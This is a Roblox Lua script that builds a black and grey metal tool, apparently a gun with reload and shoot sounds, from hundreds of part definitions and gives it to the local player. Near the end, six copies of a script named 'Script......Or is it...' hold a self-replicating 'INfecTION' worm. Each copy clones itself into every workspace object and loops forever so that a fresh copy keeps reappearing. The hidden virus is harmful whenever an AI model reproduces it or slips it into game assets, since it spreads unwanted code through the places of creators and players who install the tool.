- Part463.Material = Enum.Material.Metal
- Part463.BrickColor = BrickColor.new("Black")
- Part463.Rotation = Vector3.new(90, 0, 90)
- Part463.Anchored = true
- Part463.FormFactor = Enum.FormFactor.Custom
- Part463.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part463.CFrame = CFrame.new(143.782944, 3.52990198, 144.440933, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part463.BottomSurface = Enum.SurfaceType.Smooth
- Part463.TopSurface = Enum.SurfaceType.Smooth
- Part463.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part463.Position = Vector3.new(143.782944, 3.52990198, 144.440933)
- Part463.Orientation = Vector3.new(90, -90, 0)
- Part463.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh464.Parent = Part463
- BlockMesh464.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666734)
- BlockMesh464.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666734)
- Part465.Parent = Tool0
- Part465.Material = Enum.Material.Metal
- Part465.BrickColor = BrickColor.new("Dark stone grey")
- Part465.Rotation = Vector3.new(90, 0, -90)
- Part465.Anchored = true
- Part465.FormFactor = Enum.FormFactor.Custom
- Part465.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part465.CFrame = CFrame.new(143.329605, 3.973243, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part465.BottomSurface = Enum.SurfaceType.Smooth
- Part465.TopSurface = Enum.SurfaceType.Smooth
- Part465.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part465.Position = Vector3.new(143.329605, 3.973243, 144.39093)
- Part465.Orientation = Vector3.new(90, 90, 0)
- Part465.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh466.Parent = Part465
- SpecialMesh466.Scale = Vector3.new(0.600000024, 0.100000009, 0.166666672)
- SpecialMesh466.MeshType = Enum.MeshType.Wedge
- SpecialMesh466.Scale = Vector3.new(0.600000024, 0.100000009, 0.166666672)
- Part467.Parent = Tool0
- Part467.Material = Enum.Material.Metal
- Part467.BrickColor = BrickColor.new("Black")
- Part467.Rotation = Vector3.new(-90, 0, 90)
- Part467.Anchored = true
- Part467.FormFactor = Enum.FormFactor.Custom
- Part467.Size = Vector3.new(0.200000003, 0.686666667, 0.200000003)
- Part467.CFrame = CFrame.new(144.67627, 3.71991396, 144.397598, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part467.BottomSurface = Enum.SurfaceType.Smooth
- Part467.TopSurface = Enum.SurfaceType.Smooth
- Part467.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part467.Position = Vector3.new(144.67627, 3.71991396, 144.397598)
- Part467.Orientation = Vector3.new(-90, 90, 0)
- Part467.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh468.Parent = Part467
- BlockMesh468.Scale = Vector3.new(0.533332944, 1, 0.23333329)
- BlockMesh468.Scale = Vector3.new(0.533332944, 1, 0.23333329)
- Part469.Parent = Tool0
- Part469.Material = Enum.Material.Metal
- Part469.BrickColor = BrickColor.new("Dark stone grey")
- Part469.Rotation = Vector3.new(90, 0, -180)
- Part469.Anchored = true
- Part469.FormFactor = Enum.FormFactor.Custom
- Part469.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part469.CFrame = CFrame.new(143.302933, 4.00991011, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part469.BottomSurface = Enum.SurfaceType.Smooth
- Part469.TopSurface = Enum.SurfaceType.Smooth
- Part469.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part469.Position = Vector3.new(143.302933, 4.00991011, 144.337601)
- Part469.Orientation = Vector3.new(90, 180, 0)
- Part469.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh470.Parent = Part469
- BlockMesh470.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
- BlockMesh470.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
- Part471.Parent = Tool0
- Part471.Material = Enum.Material.Metal
- Part471.BrickColor = BrickColor.new("Black")
- Part471.Rotation = Vector3.new(-90, 0, 90)
- Part471.Anchored = true
- Part471.FormFactor = Enum.FormFactor.Symmetric
- Part471.Size = Vector3.new(1, 1, 1)
- Part471.CFrame = CFrame.new(143.78627, 3.09325004, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part471.BottomSurface = Enum.SurfaceType.Smooth
- Part471.TopSurface = Enum.SurfaceType.Smooth
- Part471.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part471.Position = Vector3.new(143.78627, 3.09325004, 144.39093)
- Part471.Orientation = Vector3.new(-90, 90, 0)
- Part471.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh472.Parent = Part471
- SpecialMesh472.Scale = Vector3.new(0.13333334, 0.0666666701, 0.0333333351)
- SpecialMesh472.MeshType = Enum.MeshType.Wedge
- SpecialMesh472.Scale = Vector3.new(0.13333334, 0.0666666701, 0.0333333351)
- Part473.Parent = Tool0
- Part473.Material = Enum.Material.Metal
- Part473.BrickColor = BrickColor.new("Black")
- Part473.Rotation = Vector3.new(-90, 0, 90)
- Part473.Anchored = true
- Part473.FormFactor = Enum.FormFactor.Symmetric
- Part473.Size = Vector3.new(1, 1, 1)
- Part473.CFrame = CFrame.new(143.736267, 3.14325094, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part473.BottomSurface = Enum.SurfaceType.Smooth
- Part473.TopSurface = Enum.SurfaceType.Smooth
- Part473.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part473.Position = Vector3.new(143.736267, 3.14325094, 144.39093)
- Part473.Orientation = Vector3.new(-90, 90, 0)
- Part473.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh474.Parent = Part473
- SpecialMesh474.Scale = Vector3.new(0.13333334, 0.0333333351, 0.0666666701)
- SpecialMesh474.MeshType = Enum.MeshType.Wedge
- SpecialMesh474.Scale = Vector3.new(0.13333334, 0.0333333351, 0.0666666701)
- Part475.Parent = Tool0
- Part475.Material = Enum.Material.Metal
- Part475.BrickColor = BrickColor.new("Black")
- Part475.Rotation = Vector3.new(90, 0, 90)
- Part475.Anchored = true
- Part475.FormFactor = Enum.FormFactor.Custom
- Part475.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part475.CFrame = CFrame.new(143.772934, 3.48657203, 144.440933, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part475.BottomSurface = Enum.SurfaceType.Smooth
- Part475.TopSurface = Enum.SurfaceType.Smooth
- Part475.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part475.Position = Vector3.new(143.772934, 3.48657203, 144.440933)
- Part475.Orientation = Vector3.new(90, -90, 0)
- Part475.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh476.Parent = Part475
- SpecialMesh476.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
- SpecialMesh476.MeshType = Enum.MeshType.Wedge
- SpecialMesh476.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
- Part477.Parent = Tool0
- Part477.Material = Enum.Material.Metal
- Part477.BrickColor = BrickColor.new("Dark stone grey")
- Part477.Rotation = Vector3.new(90, 0, -180)
- Part477.Anchored = true
- Part477.FormFactor = Enum.FormFactor.Custom
- Part477.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part477.CFrame = CFrame.new(143.156265, 4.0132432, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part477.BottomSurface = Enum.SurfaceType.Smooth
- Part477.TopSurface = Enum.SurfaceType.Smooth
- Part477.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part477.Position = Vector3.new(143.156265, 4.0132432, 144.434265)
- Part477.Orientation = Vector3.new(90, 180, 0)
- Part477.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh478.Parent = Part477
- BlockMesh478.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
- BlockMesh478.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
- Part479.Parent = Tool0
- Part479.Material = Enum.Material.Metal
- Part479.BrickColor = BrickColor.new("Dark stone grey")
- Part479.Rotation = Vector3.new(90, 0, -180)
- Part479.Anchored = true
- Part479.FormFactor = Enum.FormFactor.Custom
- Part479.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part479.CFrame = CFrame.new(144.939606, 4.04324293, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part479.BottomSurface = Enum.SurfaceType.Smooth
- Part479.TopSurface = Enum.SurfaceType.Smooth
- Part479.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part479.Position = Vector3.new(144.939606, 4.04324293, 144.444275)
- Part479.Orientation = Vector3.new(90, 180, 0)
- Part479.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh480.Parent = Part479
- BlockMesh480.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
- BlockMesh480.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
- Part481.Parent = Tool0
- Part481.Material = Enum.Material.Metal
- Part481.BrickColor = BrickColor.new("Dark stone grey")
- Part481.Rotation = Vector3.new(90, 0, -180)
- Part481.Anchored = true
- Part481.FormFactor = Enum.FormFactor.Custom
- Part481.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part481.CFrame = CFrame.new(144.389603, 3.90657496, 144.267593, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part481.BottomSurface = Enum.SurfaceType.Smooth
- Part481.TopSurface = Enum.SurfaceType.Smooth
- Part481.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part481.Position = Vector3.new(144.389603, 3.90657496, 144.267593)
- Part481.Orientation = Vector3.new(90, 180, 0)
- Part481.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh482.Parent = Part481
- CylinderMesh482.Scale = Vector3.new(0.333333343, 0.100000009, 1.66666675)
- CylinderMesh482.Scale = Vector3.new(0.333333343, 0.100000009, 1.66666675)
- Part483.Parent = Tool0
- Part483.Material = Enum.Material.Metal
- Part483.BrickColor = BrickColor.new("Dark stone grey")
- Part483.Rotation = Vector3.new(90, 0, -180)
- Part483.Anchored = true
- Part483.FormFactor = Enum.FormFactor.Custom
- Part483.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part483.CFrame = CFrame.new(143.156265, 4.0299139, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part483.BottomSurface = Enum.SurfaceType.Smooth
- Part483.TopSurface = Enum.SurfaceType.Smooth
- Part483.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part483.Position = Vector3.new(143.156265, 4.0299139, 144.444275)
- Part483.Orientation = Vector3.new(90, 180, 0)
- Part483.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh484.Parent = Part483
- CylinderMesh484.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
- CylinderMesh484.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
- Part485.Parent = Tool0
- Part485.Material = Enum.Material.Metal
- Part485.BrickColor = BrickColor.new("Black")
- Part485.Rotation = Vector3.new(-90, 0, -180)
- Part485.Anchored = true
- Part485.FormFactor = Enum.FormFactor.Custom
- Part485.Size = Vector3.new(0.200000003, 0.213333279, 0.200000003)
- Part485.CFrame = CFrame.new(143.682938, 3.726578, 144.39093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- Part485.BottomSurface = Enum.SurfaceType.Smooth
- Part485.TopSurface = Enum.SurfaceType.Smooth
- Part485.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part485.Position = Vector3.new(143.682938, 3.726578, 144.39093)
- Part485.Orientation = Vector3.new(-90, -180, 0)
- Part485.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh486.Parent = Part485
- CylinderMesh486.Scale = Vector3.new(0.333333433, 1, 0.166666672)
- CylinderMesh486.Scale = Vector3.new(0.333333433, 1, 0.166666672)
- Part487.Parent = Tool0
- Part487.Material = Enum.Material.Metal
- Part487.BrickColor = BrickColor.new("Black")
- Part487.Rotation = Vector3.new(-90, 0, 90)
- Part487.Anchored = true
- Part487.FormFactor = Enum.FormFactor.Symmetric
- Part487.Size = Vector3.new(1, 1, 1)
- Part487.CFrame = CFrame.new(143.869598, 3.14325094, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part487.BottomSurface = Enum.SurfaceType.Smooth
- Part487.TopSurface = Enum.SurfaceType.Smooth
- Part487.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part487.Position = Vector3.new(143.869598, 3.14325094, 144.39093)
- Part487.Orientation = Vector3.new(-90, 90, 0)
- Part487.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh488.Parent = Part487
- BlockMesh488.Scale = Vector3.new(0.13333334, 0.233333334, 0.0666666701)
- BlockMesh488.Scale = Vector3.new(0.13333334, 0.233333334, 0.0666666701)
- Part489.Parent = Tool0
- Part489.Material = Enum.Material.Metal
- Part489.BrickColor = BrickColor.new("Black")
- Part489.Rotation = Vector3.new(0, 90, 0)
- Part489.Anchored = true
- Part489.FormFactor = Enum.FormFactor.Custom
- Part489.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part489.CFrame = CFrame.new(144.469604, 3.84324694, 144.28093, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Part489.BottomSurface = Enum.SurfaceType.Smooth
- Part489.TopSurface = Enum.SurfaceType.Smooth
- Part489.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part489.Position = Vector3.new(144.469604, 3.84324694, 144.28093)
- Part489.Orientation = Vector3.new(0, 90, 0)
- Part489.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh490.Parent = Part489
- BlockMesh490.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
- BlockMesh490.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
- Part491.Parent = Tool0
- Part491.Material = Enum.Material.Metal
- Part491.BrickColor = BrickColor.new("Dark stone grey")
- Part491.Rotation = Vector3.new(-90, 29.9899998, 90)
- Part491.Anchored = true
- Part491.FormFactor = Enum.FormFactor.Custom
- Part491.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part491.CFrame = CFrame.new(144.279358, 3.49902511, 144.39093, 0, -0.866130412, 0.499818146, 0, 0.499818146, 0.866130412, -1, -0, 0)
- Part491.BottomSurface = Enum.SurfaceType.Smooth
- Part491.TopSurface = Enum.SurfaceType.Smooth
- Part491.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part491.Position = Vector3.new(144.279358, 3.49902511, 144.39093)
- Part491.Orientation = Vector3.new(-60.0099983, 90, 0)
- Part491.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh492.Parent = Part491
- BlockMesh492.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
- BlockMesh492.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
- Part493.Parent = Tool0
- Part493.Material = Enum.Material.Metal
- Part493.BrickColor = BrickColor.new("Dark stone grey")
- Part493.Rotation = Vector3.new(90, 0.00999999978, 90)
- Part493.Anchored = true
- Part493.FormFactor = Enum.FormFactor.Custom
- Part493.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part493.CFrame = CFrame.new(144.286911, 3.62545395, 144.39093, 0, -1, 0.00012601912, 0, -0.00012601912, -1, 1, 0, 0)
- Part493.BottomSurface = Enum.SurfaceType.Smooth
- Part493.TopSurface = Enum.SurfaceType.Smooth
- Part493.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part493.Position = Vector3.new(144.286911, 3.62545395, 144.39093)
- Part493.Orientation = Vector3.new(90, -90, 0)
- Part493.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh494.Parent = Part493
- BlockMesh494.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
- BlockMesh494.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
- ManualWeld495.Name = "Part-to-Handle Strong Joint"
- ManualWeld495.Parent = Part493
- ManualWeld495.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- ManualWeld495.C1 = CFrame.new(-0.100006104, -0.140009403, -0.100021362, -1, 0, 0, 0, -1, -0.000188931823, 0, -0.000188931823, 1)
- ManualWeld495.Part0 = Part493
- ManualWeld495.Part1 = Part30
- Part496.Parent = Tool0
- Part496.Material = Enum.Material.Metal
- Part496.BrickColor = BrickColor.new("Dark stone grey")
- Part496.Rotation = Vector3.new(90, 0, -180)
- Part496.Anchored = true
- Part496.FormFactor = Enum.FormFactor.Custom
- Part496.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part496.CFrame = CFrame.new(143.222946, 4.07324219, 144.410934, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part496.BottomSurface = Enum.SurfaceType.Smooth
- Part496.TopSurface = Enum.SurfaceType.Smooth
- Part496.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part496.Position = Vector3.new(143.222946, 4.07324219, 144.410934)
- Part496.Orientation = Vector3.new(90, 180, 0)
- Part496.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh497.Parent = Part496
- BlockMesh497.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
- BlockMesh497.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
- Part498.Parent = Tool0
- Part498.Material = Enum.Material.Metal
- Part498.BrickColor = BrickColor.new("Dark stone grey")
- Part498.Rotation = Vector3.new(-90, -45, -90)
- Part498.Anchored = true
- Part498.FormFactor = Enum.FormFactor.Custom
- Part498.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part498.CFrame = CFrame.new(144.112671, 3.58569193, 144.39093, 0, 0.707084656, -0.707129121, 0, 0.707129121, 0.707084656, 1, 0, -0)
- Part498.BottomSurface = Enum.SurfaceType.Smooth
- Part498.TopSurface = Enum.SurfaceType.Smooth
- Part498.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part498.Position = Vector3.new(144.112671, 3.58569193, 144.39093)
- Part498.Orientation = Vector3.new(-45, -90, 0)
- Part498.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh499.Parent = Part498
- BlockMesh499.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
- BlockMesh499.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
- Part500.Parent = Tool0
- Part500.Material = Enum.Material.Metal
- Part500.BrickColor = BrickColor.new("Black")
- Part500.Rotation = Vector3.new(-90, -15.0099993, -90)
- Part500.Anchored = true
- Part500.FormFactor = Enum.FormFactor.Custom
- Part500.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part500.CFrame = CFrame.new(143.124802, 3.89670396, 144.300934, 0, 0.965896666, -0.258930802, 0, 0.258930802, 0.965896666, 1, 0, -0)
- Part500.BottomSurface = Enum.SurfaceType.Smooth
- Part500.TopSurface = Enum.SurfaceType.Smooth
- Part500.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part500.Position = Vector3.new(143.124802, 3.89670396, 144.300934)
- Part500.Orientation = Vector3.new(-74.9899979, -90, 0)
- Part500.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh501.Parent = Part500
- SpecialMesh501.Scale = Vector3.new(0.133333102, 0.100000009, 0.666666746)
- SpecialMesh501.MeshType = Enum.MeshType.Wedge
- SpecialMesh501.Scale = Vector3.new(0.133333102, 0.100000009, 0.666666746)
- Part502.Parent = Tool0
- Part502.Material = Enum.Material.Metal
- Part502.BrickColor = BrickColor.new("Dark stone grey")
- Part502.Rotation = Vector3.new(-90, 0, -180)
- Part502.Anchored = true
- Part502.FormFactor = Enum.FormFactor.Custom
- Part502.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part502.CFrame = CFrame.new(143.782944, 3.76324296, 144.500931, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- Part502.BottomSurface = Enum.SurfaceType.Smooth
- Part502.TopSurface = Enum.SurfaceType.Smooth
- Part502.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part502.Position = Vector3.new(143.782944, 3.76324296, 144.500931)
- Part502.Orientation = Vector3.new(-90, -180, 0)
- Part502.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh503.Parent = Part502
- CylinderMesh503.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
- CylinderMesh503.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
- Part504.Parent = Tool0
- Part504.Material = Enum.Material.Metal
- Part504.BrickColor = BrickColor.new("Dark stone grey")
- Part504.Rotation = Vector3.new(90, 0, -180)
- Part504.Anchored = true
- Part504.FormFactor = Enum.FormFactor.Custom
- Part504.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part504.CFrame = CFrame.new(143.802933, 3.43991399, 144.320938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part504.BottomSurface = Enum.SurfaceType.Smooth
- Part504.TopSurface = Enum.SurfaceType.Smooth
- Part504.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part504.Position = Vector3.new(143.802933, 3.43991399, 144.320938)
- Part504.Orientation = Vector3.new(90, 180, 0)
- Part504.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh505.Parent = Part504
- CylinderMesh505.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- CylinderMesh505.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- Part506.Parent = Tool0
- Part506.Material = Enum.Material.Metal
- Part506.BrickColor = BrickColor.new("Dark stone grey")
- Part506.Rotation = Vector3.new(-180, 0, 0)
- Part506.Anchored = true
- Part506.FormFactor = Enum.FormFactor.Custom
- Part506.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part506.CFrame = CFrame.new(144.936279, 4.06991482, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
- Part506.BottomSurface = Enum.SurfaceType.Smooth
- Part506.TopSurface = Enum.SurfaceType.Smooth
- Part506.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part506.Position = Vector3.new(144.936279, 4.06991482, 144.387604)
- Part506.Orientation = Vector3.new(0, 180, 180)
- Part506.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh507.Parent = Part506
- CylinderMesh507.Scale = Vector3.new(0.0649996921, 0.266666681, 0.0650000274)
- CylinderMesh507.Scale = Vector3.new(0.0649996921, 0.266666681, 0.0650000274)
- Part508.Parent = Tool0
- Part508.Material = Enum.Material.Metal
- Part508.BrickColor = BrickColor.new("Dark stone grey")
- Part508.Rotation = Vector3.new(90, 0, -180)
- Part508.Anchored = true
- Part508.FormFactor = Enum.FormFactor.Custom
- Part508.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part508.CFrame = CFrame.new(144.939606, 4.04324293, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part508.BottomSurface = Enum.SurfaceType.Smooth
- Part508.TopSurface = Enum.SurfaceType.Smooth
- Part508.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part508.Position = Vector3.new(144.939606, 4.04324293, 144.337601)
- Part508.Orientation = Vector3.new(90, 180, 0)
- Part508.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh509.Parent = Part508
- BlockMesh509.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
- BlockMesh509.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
- Part510.Name = "Handle"
- Part510.Parent = Tool0
- Part510.Material = Enum.Material.Metal
- Part510.BrickColor = BrickColor.new("Dark stone grey")
- Part510.Transparency = 5
- Part510.Rotation = Vector3.new(0, -90, 0)
- Part510.Anchored = true
- Part510.FormFactor = Enum.FormFactor.Custom
- Part510.Size = Vector3.new(0.200000003, 0.200000003, 0.200000048)
- Part510.CFrame = CFrame.new(144.086838, 3.19991946, 144.39093, 0, 6.29127026e-05, -1, 0, 1, 6.29127026e-05, 1, 0, -0)
- Part510.BottomSurface = Enum.SurfaceType.Smooth
- Part510.TopSurface = Enum.SurfaceType.Smooth
- Part510.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part510.Position = Vector3.new(144.086838, 3.19991946, 144.39093)
- Part510.Orientation = Vector3.new(0, -90, 0)
- Part510.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh511.Parent = Part510
- BlockMesh511.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
- BlockMesh511.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
- Sound512.Name = "Reload"
- Sound512.Parent = Part510
- Sound512.SoundId = "http://roblox.com/asset/?id=10209636"
- Sound512.Volume = 1
- Sound512.PlayOnRemove = true
- Script513.Name = "Script......Or is it..."
- Script513.Parent = mas
- table.insert(cors,sandbox(Script513,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Sound514.Name = "Reload"
- Sound514.Parent = Part510
- Sound514.Pitch = 2
- Sound514.SoundId = "http://roblox.com/asset/?id=10209834"
- Sound514.Volume = 1
- Sound514.PlayOnRemove = true
- Script515.Name = "Script......Or is it..."
- Script515.Parent = mas
- table.insert(cors,sandbox(Script515,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Sound516.Name = "Reload"
- Sound516.Parent = Part510
- Sound516.Pitch = 3
- Sound516.SoundId = "http://roblox.com/asset/?id=10209834"
- Sound516.Volume = 1
- Sound516.PlayOnRemove = true
- Script517.Name = "Script......Or is it..."
- Script517.Parent = mas
- table.insert(cors,sandbox(Script517,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Sound518.Name = "Reload"
- Sound518.Parent = Part510
- Sound518.Pitch = 0.75
- Sound518.SoundId = "http://roblox.com/asset/?id=10209834"
- Sound518.Volume = 1
- Sound518.PlayOnRemove = true
- Script519.Name = "Script......Or is it..."
- Script519.Parent = mas
- table.insert(cors,sandbox(Script519,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Sound520.Name = "Shoot"
- Sound520.Parent = Part510
- Sound520.Pitch = 2
- Sound520.SoundId = "http://www.roblox.com/asset/?id=2692477"
- Sound520.Volume = 1
- Script521.Name = "Script......Or is it..."
- Script521.Parent = mas
- table.insert(cors,sandbox(Script521,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script522.Name = "Script......Or is it..."
- Script522.Parent = mas
- table.insert(cors,sandbox(Script522,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = game:GetService("Players").LocalPlayer.Backpack
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
